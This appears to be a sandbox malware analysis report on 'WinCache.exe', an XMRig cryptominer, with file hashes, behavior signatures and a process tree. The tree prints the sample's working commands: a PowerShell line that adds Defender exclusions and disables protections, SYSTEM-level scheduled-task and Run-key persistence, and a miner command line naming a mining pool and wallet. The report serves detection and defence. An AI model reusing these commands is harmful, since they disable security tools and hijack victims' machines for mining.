Analysis
- user interaction
yes - max time kernel
899s - max time network
895s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
19/08/2026, 12:10
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
WinCache.exe
Resource
win10v2004-20260513-en
13 signatures
900 seconds
Behavioral task
behavioral2
Sample
WinCache.exe
Resource
win11ltsc2024-20260709-en
12 signatures
900 seconds
General
- Target WinCache.exe
- Size 10.7MB
- Sample260819-pcdstaap4v
- SHA256 86f2102b23d572c9e9a3a8bad6087662b90e7543896a5b9f706c15ccca8d5792
- MD5 77c1b815008321c67568b4390dd1432e
- SHA1 efc3c757dbf86f86ba90f973c0c42352abc9dbb1
- SHA512 de370f52387009043e3296e648395b8531467fa037c0e0837d0f6de2b4b9dee98a7f7a2b9d93ba16823fac97ead9c17baf889cf0cb2444c1d21d6f8fff7212c6
- SSDEEP 196608:1batgCLp70Cr0qWOJeuR7kBJjnIXZBEfGg68iC/KBj:1Twd0iQnIjvg68iCSBj
- TLSH T1DEB6DFF721CA4671D2D3833A85536633F9635E41CA40DC236DF69E35160A1E8BB2BADC
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Modifies Windows Defender Real-time Protection settings 3 TTPs 12 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection WinCache.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" WinCache.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" WinCache.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" WinCache.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" WinCache.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" WinCache.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" WinCache.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" WinCache.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" WinCache.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection WinCache.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" WinCache.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" WinCache.exe - XMRig Miner payload 2 IoCs
resource yara_rule behavioral1/memory/5184-25-0x0000000140000000-0x000000014090D000-memory.dmp xmrig behavioral1/memory/5184-37-0x0000000140000000-0x000000014090D000-memory.dmp xmrig - Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4360 powershell.exe 4832 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 5424 WinCache.exe - Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShizoWorker = "\"C:\\ProgramData\\WinCache\\WinCache.exe\"" WinCache.exe Set value (str) \REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShizoWorker = "\"C:\\ProgramData\\WinCache\\WinCache.exe\"" WinCache.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShizoWorker = "\"C:\\ProgramData\\WinCache\\WinCache.exe\"" WinCache.exe Set value (str) \REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShizoWorker = "\"C:\\ProgramData\\WinCache\\WinCache.exe\"" WinCache.exe - Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 4652 set thread context of 5184 4652 WinCache.exe 101 PID 4652 set thread context of 4756 4652 WinCache.exe 102 PID 4652 set thread context of 3204 4652 WinCache.exe 103 PID 5424 set thread context of 556 5424 WinCache.exe 104 PID 5424 set thread context of 4008 5424 WinCache.exe 105 PID 5424 set thread context of 6088 5424 WinCache.exe 106 - Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 464 schtasks.exe 3456 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4360 powershell.exe 4360 powershell.exe 4832 powershell.exe 4832 powershell.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 3204 wermgr.exe 6088 wermgr.exe 6088 wermgr.exe 6088 wermgr.exe 6088 wermgr.exe 6088 wermgr.exe 6088 wermgr.exe 6088 wermgr.exe 6088 wermgr.exe 6088 wermgr.exe 6088 wermgr.exe 6088 wermgr.exe 6088 wermgr.exe - Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 4360 powershell.exe Token: SeDebugPrivilege 4832 powershell.exe Token: SeLockMemoryPrivilege 5184 wermgr.exe Token: SeLockMemoryPrivilege 5184 wermgr.exe Token: SeLockMemoryPrivilege 556 wermgr.exe Token: SeLockMemoryPrivilege 556 wermgr.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 5184 wermgr.exe 556 wermgr.exe - Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 4652 wrote to memory of 4100 4652 WinCache.exe 87 PID 4652 wrote to memory of 464 4652 WinCache.exe 89 PID 4652 wrote to memory of 4360 4652 WinCache.exe 91 PID 5424 wrote to memory of 6004 5424 WinCache.exe 95 PID 5424 wrote to memory of 3456 5424 WinCache.exe 97 PID 5424 wrote to memory of 4832 5424 WinCache.exe 99 PID 4652 wrote to memory of 5184 4652 WinCache.exe 101 PID 4652 wrote to memory of 5184 4652 WinCache.exe 101 PID 4652 wrote to memory of 4756 4652 WinCache.exe 102 PID 4652 wrote to memory of 4756 4652 WinCache.exe 102 PID 4652 wrote to memory of 3204 4652 WinCache.exe 103 PID 4652 wrote to memory of 3204 4652 WinCache.exe 103 PID 5424 wrote to memory of 556 5424 WinCache.exe 104 PID 5424 wrote to memory of 556 5424 WinCache.exe 104 PID 5424 wrote to memory of 4008 5424 WinCache.exe 105 PID 5424 wrote to memory of 4008 5424 WinCache.exe 105 PID 5424 wrote to memory of 6088 5424 WinCache.exe 106 PID 5424 wrote to memory of 6088 5424 WinCache.exe 106 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\WinCache.exe"C:\Users\Admin\AppData\Local\Temp\WinCache.exe"1⤵
- Modifies Windows Defender Real-time Protection settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4652 -
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Delete /TN "ShizoWorker" /F2⤵PID:4100
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C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Create /F /TN "ShizoWorker" /TR "\"C:\ProgramData\WinCache\WinCache.exe\"" /SC ONSTART /RU SYSTEM /RL HIGHEST /DELAY 0000:302⤵
- Scheduled Task/Job: Scheduled Task
PID:464
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\WinCache'; Add-MpPreference -ExclusionProcess 'wermgr.exe'; Set-MpPreference -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableBlockAtFirstSeen $true -DisableScriptScanning $true -EnableNetworkProtection Disabled -SubmitSamplesConsent 2"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4360
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C:\Windows\System32\wermgr.exe"C:\Windows\System32\wermgr.exe" -o pool.hashvault.pro:443 -u 42q35emXjZg54YjLj7Zqkh8KhJzbWPirNCbSzzygRKFmcjZJnAKHUdKQ7MCCaEjoydZfDUJ8cdCrp6FaQaFx2Gf9Uz4ftDy -p ShizoWorker --cpu-max-threads-hint=70 --cpu-priority=3 --randomx-wrmsr=-1 --tls --randomx-no-rdmsr -k --coin XMR -a rx/0 --log-file C:\Windows\Temp\xmrig.log2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5184
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C:\Windows\System32\wermgr.exe"C:\Windows\System32\wermgr.exe" 5184 C:\ProgramData\WinCache\WinCache.exe C:\Windows\System32\wermgr.exe2⤵PID:4756
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C:\Windows\System32\wermgr.exe"C:\Windows\System32\wermgr.exe" 5184 47562⤵
- Suspicious behavior: EnumeratesProcesses
PID:3204
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C:\ProgramData\WinCache\WinCache.exe"C:\ProgramData\WinCache\WinCache.exe"1⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:5424 -
C:\Windows\system32\schtasks.exeschtasks.exe /Delete /TN "ShizoWorker" /F2⤵PID:6004
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C:\Windows\system32\schtasks.exeschtasks.exe /Create /F /TN "ShizoWorker" /TR "\"C:\ProgramData\WinCache\WinCache.exe\"" /SC ONSTART /RU SYSTEM /RL HIGHEST /DELAY 0000:302⤵
- Scheduled Task/Job: Scheduled Task
PID:3456
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\WinCache'; Add-MpPreference -ExclusionProcess 'wermgr.exe'; Set-MpPreference -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableBlockAtFirstSeen $true -DisableScriptScanning $true -EnableNetworkProtection Disabled -SubmitSamplesConsent 2"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4832
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C:\Windows\System32\wermgr.exe"C:\Windows\System32\wermgr.exe" -o pool.hashvault.pro:443 -u 42q35emXjZg54YjLj7Zqkh8KhJzbWPirNCbSzzygRKFmcjZJnAKHUdKQ7MCCaEjoydZfDUJ8cdCrp6FaQaFx2Gf9Uz4ftDy -p ShizoWorker --cpu-max-threads-hint=70 --cpu-priority=3 --randomx-wrmsr=-1 --tls --randomx-no-rdmsr -k --coin XMR -a rx/0 --log-file C:\Windows\Temp\xmrig.log2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:556
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C:\Windows\System32\wermgr.exe"C:\Windows\System32\wermgr.exe" 556 C:\ProgramData\WinCache\WinCache.exe C:\Windows\System32\wermgr.exe2⤵PID:4008
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C:\Windows\System32\wermgr.exe"C:\Windows\System32\wermgr.exe" 556 40082⤵
- Suspicious behavior: EnumeratesProcesses
PID:6088
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\ProgramData\WinCache\WinCache.exe
- Size 10.7MB
- SHA256 86f2102b23d572c9e9a3a8bad6087662b90e7543896a5b9f706c15ccca8d5792
- MD5 77c1b815008321c67568b4390dd1432e
- SHA1 efc3c757dbf86f86ba90f973c0c42352abc9dbb1
- SHA512 de370f52387009043e3296e648395b8531467fa037c0e0837d0f6de2b4b9dee98a7f7a2b9d93ba16823fac97ead9c17baf889cf0cb2444c1d21d6f8fff7212c6
- SSDEEP 196608:1batgCLp70Cr0qWOJeuR7kBJjnIXZBEfGg68iC/KBj:1Twd0iQnIjvg68iCSBj
- TLSH T1DEB6DFF721CA4671D2D3833A85536633F9635E41CA40DC236DF69E35160A1E8BB2BADC
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- TLSH T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 948B
- SHA256 3cb0b2ad2e05c240b87ffd6100c8debafc5db19e9299e9628ee691d807021bcb
- MD5 fbec078bcac1f75d8cc38abc800a5be9
- SHA1 187624407481d46a8c1fcdbf0bbde9d7f569e5a3
- SHA512 e74de037bf1d3a2ce2e735d0a1d84886266f95498ad11f88ce54843bfa10ede3f3177a7e46d1da346992ab038e03e787665ab85bbd8b0435547a547ea84fee3d
- TLSH T18F112223F38C8920CC96163A509DAC5172B686CB81AFDF9F7FC0C210E1BF584CB62294
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_35jcn52b.00i.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\Temp\xmrig.log
- Size 646B
- SHA256 9212fb609a5df61c9a1bd5cead7291fe9fbe477e3ddfb5ce2764c3ce3c016c6e
- MD5 c555827f700e077fe1153f5fc97cb0c0
- SHA1 ef38bc5eab53dc0f1712ed1f5aaf4e733eddbcd8
- SHA512 063ca9d1807f5f91fa30dcc73a9236ea7efb4a02b0b9ae4c0a275753818b41893b3f32504811e99021210ed13df78574e0346a05dc6950199814012db1f01e37
- TLSH T1A7F04172049F508911FBC0D2F0322A79DE01D44103A2C150F4CE9D8C9F2A8A0BB0BE92
- MD5 SHA1 SHA512 TLSH